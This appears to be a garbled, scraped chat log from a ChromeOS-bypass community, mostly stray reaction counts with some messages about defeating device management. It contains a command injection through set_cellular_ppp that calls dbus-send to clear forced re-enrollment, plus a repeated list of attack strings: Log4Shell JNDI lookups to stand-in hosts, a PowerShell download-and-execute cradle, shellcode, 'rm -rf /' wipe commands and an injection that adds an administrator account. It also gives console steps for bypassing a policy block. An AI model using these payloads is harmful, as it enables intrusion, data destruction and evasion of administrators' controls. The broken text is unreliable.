croshfixer
Main / skids
1
1
4
1 1 3set_cellular_ppp \';dbus-send${IFS}--system${IFS}--print-reply${IFS}--dest=org.chromium.SessionManager${IFS}/org/chromium/SessionManager${IFS}org.chromium.SessionManagerInterface.ClearForcedReEnrollmentVpd;exit;\ 4set_cellular_ppp \';dbus-send${IFS}--system${IFS}--print-reply${IFS}--dest=org.chromium.SessionManager${IFS}/org/chromium/SessionManager${IFS}org.chromium.SessionManagerInterface.ClearForcedReEnrollmentVpd;exit;\ 
1
4
Removed by @daydu3 ] 
2
1 2 yes very bad
2
1
1 2
5
1 1 1 1 2 1 2
4
1
1
1 2 2 1
2
1
3 1 1 1
-i talk alot
+very helpful
+never a fed
+good boy
+pro exploiter
@wininit 1 2
1disabledEasterEgg and if it exists it will make another variable be true as seen in the following: isDisabled = loadTimeData.valueExists("disabledEasterEgg"); and if THIS variable is set to true and once the game initializes with the following: Runner.initializeInstance(".interstitial-wrapper") it will just show a message saying its disabled.
REPRODUCTION STEPS 2
1disabledEasterEgg and if it exists it will make another variable be true as seen in the following: isDisabled = loadTimeData.valueExists("disabledEasterEgg"); and if THIS variable is set to true and once the game initializes with the following: Runner.initializeInstance(".interstitial-wrapper") it will just show a message saying its disabled.
REPRODUCTION STEPS 2
3 3%00%ff%41%42%43%ff%00
0x90 0x90 0x90 0x90 0xCC 0xCC 0xCC
jndi:ldap://evilcorp[.]ru:1389/a
${jndi:rmi://192.168.69.420:1099/Exploit}
cmd.exe /c powershell -nop -exec bypass -c "IEX((New-Object Net.WebClient).DownloadString('http://malicious[.]lol/payload.ps1'))"
base64: SGVsbG8gZnJvbSB0aGUgb3RoZXIgc2lkZQo=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0xdeadbeef0x133713370xcafec0de0xabad1dea
NOP sled: 90909090909090909090909090909090
shellcode: \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
random garbage: 83746291837462918374629183746291
xor key: 0xAA 0xBB 0xCC 0xDD 0xEE 0xFF
eval( atob('Y29uc29sZS5sb2coJ0hBQ0tFRCEnKQ==') )
/dev/null; rm -rf / --no-preserve-root 2>/dev/null || del /f /s /q C:\*
127.0.0.1; whoami && net user hacker P@ssw0rd1337 /add && net localgroup administrators hacker /add
PAYLOAD_STAGE2_ACTIVATED_0x66666666
random entropy: 47281936472819364728193647281936
obfuscated: \x65\x76\x61\x6c\x28\x27\x61\x6c\x65\x72\x74\x28\x31\x29\x27\x29 
%00%ff%41%42%43%ff%00
0x90 0x90 0x90 0x90 0xCC 0xCC 0xCC
jndi:ldap://evilcorp[.]ru:1389/a
${jndi:rmi://192.168.69.420:1099/Exploit}
cmd.exe /c powershell -nop -exec bypass -c "IEX((New-Object Net.WebClient).DownloadString('http://malicious[.]lol/payload.ps1'))"
base64: SGVsbG8gZnJvbSB0aGUgb3RoZXIgc2lkZQo=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0xdeadbeef0x133713370xcafec0de0xabad1dea
NOP sled: 90909090909090909090909090909090
shellcode: \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
random garbage: 83746291837462918374629183746291
xor key: 0xAA 0xBB 0xCC 0xDD 0xEE 0xFF
eval( atob('Y29uc29sZS5sb2coJ0hBQ0tFRCEnKQ==') )
/dev/null; rm -rf / --no-preserve-root 2>/dev/null || del /f /s /q C:\*
127.0.0.1; whoami && net user hacker P@ssw0rd1337 /add && net localgroup administrators hacker /add
PAYLOAD_STAGE2_ACTIVATED_0x66666666
random entropy: 47281936472819364728193647281936
obfuscated: \x65\x76\x61\x6c\x28\x27\x61\x6c\x65\x72\x74\x28\x31\x29\x27\x29 4
1 1disabledEasterEgg and if it exists it will make another variable be true as seen in the following: isDisabled = loadTimeData.valueExists("disabledEasterEgg");. If this variable is set to true and once the game initializes with the following: Runner.initializeInstance(".interstitial-wrapper") it will just show a message saying its disabled.
To bypass this block you simply have to delete disabledEasterEgg, set the game instance to null, and restart the instance.
REPRODUCTION STEPS
1. Go to chrome://dino or any page with no internet connection
2. Open DevTools (F12 or ctrl + shift + i)
3. In the Console, run:
delete loadTimeData.data_["disabledEasterEgg"]
runnerInstance = null
Runner.initializeInstance(".interstitial-wrapper")
4. The dino game now runs normally despite the policy block 
2
1 3 1
nvm i reemmebr
2
2
1 1
joined 2 1 
1
1
2 2
2 3
1
1 1 1 1
2 1
1 
3 1 1
1 1
1 1 1 1 1 1
3
1 1 1
1
Locked down skids 1 1 2 Unlocked skids. 1 1
1
1
1 
1 
1
1 1
1 2 emojis 5 3 2 1 1 2
1
1
3
1 1 2 1
1
1
4 (1 locked)
1
sudo bash 
1 we need more perms to do good
1 
2 1 1 1
1 
7 flags remaining
1
1
1 
has it but not allowed to share has it but not allowed to share 
1
1
1 1 1 2 2
2 2 1 1 1
2 2 2 1
1 
1
1 
1 
1 2
2 2 1 5 1 4 1 1 1 2 5 2 4 Removed by @thespritzer_ ] 2 Removed by @thespritzer_ ] 
3 
1 1 3 1 1 1 5 1
3 
3 2 1 1 5 1 8 4 2 2
2 4 
3 1 1 1 1
1 3 1 4
2
3 4 1 1
2 1
go tell that to your 3rd grade self and he would be horrified 2 go tell that to your 3rd grade self and he would be horrified go tell that to your 3rd grade self and he would be horrified 1 
1 1 1
3 4 1
1 3 
1
